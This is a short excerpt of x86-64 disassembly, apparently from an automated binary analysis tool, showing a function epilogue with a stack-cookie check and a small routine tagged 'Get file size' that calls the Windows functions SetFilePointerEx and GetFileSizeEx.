movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x4b4d0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140026541
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14002658b
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.1400129e0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400267ac
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400267c2
mov al, 1
jmp 0x140026822
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400267d3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140026820
mov ecx, dword [rcx + 0x18]
nop
call fcn.14002c9ec
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140026820
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140026820
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140026820
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140026822
xor al, al
add rsp, 0x20
pop rbx
ret